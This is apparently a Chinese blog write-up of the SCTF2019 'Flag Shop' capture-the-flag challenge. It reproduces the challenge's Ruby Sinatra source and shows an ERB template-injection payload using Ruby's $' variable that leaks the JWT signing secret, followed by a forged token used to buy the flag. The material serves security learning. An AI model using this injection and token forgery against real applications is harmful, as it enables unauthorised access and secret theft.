[SCTF2019]Flag Shop

打开题目

点了一下buy flag

提示我没有足够的jkl,点击一下work,jkl会增加2,看了下flag的价格,靠点work是不可能的了,抓包看一下

伪造一下jwt

发包显示错误

目录扫描,扫到一个robots.txt

访问一下

有个/filebak访问得到源码

require 'sinatra'

require 'sinatra/cookies'

require 'sinatra/json'

require 'jwt'

require 'securerandom'

require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000

ENV["SECRET"] = SecureRandom.hex(64)

configure do

  enable :logging

  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")

  file.sync = true

  use Rack::CommonLogger, file

end

get "/" do

  redirect '/shop', 302

end

get "/filebak" do

  content_type :text

  erb IO.binread __FILE__

end

get "/api/auth" do

  payload = { uid: SecureRandom.uuid , jkl: 20}

  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'

  cookies[:auth] = auth

end

get "/api/info" do

  islogin

  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})

end

get "/shop" do

  erb :shop

end

get "/work" do

  islogin

  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  auth = auth[0]

  unless params[:SECRET].nil?

    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")

      puts ENV["FLAG"]

    end

  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)

    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

    cookies[:auth] = auth

    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end

end

post "/shop" do

  islogin

  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})

  else

    auth << {flag: ENV["FLAG"]}

    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'

    cookies[:auth] = auth

    json({title: "success",message: "jkl is good thing"})

  end

end

def islogin

  if cookies[:auth].nil? then

    redirect to('/shop')

  end

end

关键的主要在这一点

要满足if params[:do] == "#{params[:name][0,7]} is working" 中的do和name相同,就会使用 JWT(JSON Web Token)库对 auth 数据结构进行编码操作。它将 auth 作为要编码的数据,使用环境变量 ENV["SECRET"] 作为加密密钥,并指定加密算法为 HS256。编码后的结果会重新赋值给 auth 变量,以便后续使用。

这里是对Ruby ERB注入的考察

参考【技术分享】手把手教你如何完成Ruby ERB模板注入-安全客 - 安全资讯平台

这里

内部的 params[:SECRET].match(/[0-9a-z]+/)首先使用正则表达式 /[0-9a-z]+/ 对 params[:SECRET] 进行匹配操作。

如果匹配成功,它会返回一个 MatchData 对象。然后通过将这个 MatchData 对象转换为字符串,得到从 params[:SECRET] 中提取出的符合要求的字符串部分。

外部的 ENV["SECRET"].match(...):接着,将从 params[:SECRET] 中提取出的字符串作为参数,再用它去匹配环境变量 ENV["SECRET"]如果 ENV["SECRET"] 中能找到与从 params[:SECRET] 提取出的字符串相匹配的部分,那么这个 match 操作就会返回一个 MatchData 对象(表示匹配成功),此时整个 if 条件判断就为真,会继续执行后续位于这个 if 条件判断内部的操作,也就是输出 ENV["FLAG"]

既然使用了匹配,就可以用全局变量读出来了

参考Pre-defined variables 预定义变量

globals - 文档 对于 Ruby 2.4.0 --- globals - Documentation for Ruby 2.4.0

中的 $' 得到上次成功匹配的右侧的字符串

构造paload:/work?SECRET=&name=<%=$'%>&do=<%=$'%> is working

直接使用会报错

要把name和do后边的参数<%=$'%>使用16进制编码一下

Paload:/work SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%

25%3e is working

得到密钥,再构造一下jwt

再此购买flag,把jwt改成伪造后的

把返回的包中的jwt解码一下得到flag

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值